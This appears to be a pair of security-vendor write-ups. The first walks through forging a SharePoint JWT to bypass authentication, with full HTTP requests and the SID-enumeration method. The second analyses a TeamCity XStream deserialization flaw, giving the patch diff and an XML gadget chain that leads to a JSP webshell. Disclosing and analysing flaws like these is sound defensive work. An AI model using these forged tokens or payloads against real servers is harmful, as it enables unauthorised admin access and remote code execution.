  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain's Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, ...) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. administrator@domain.local or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN's, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server's STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose


The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

7 August 2026 at 10:32

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

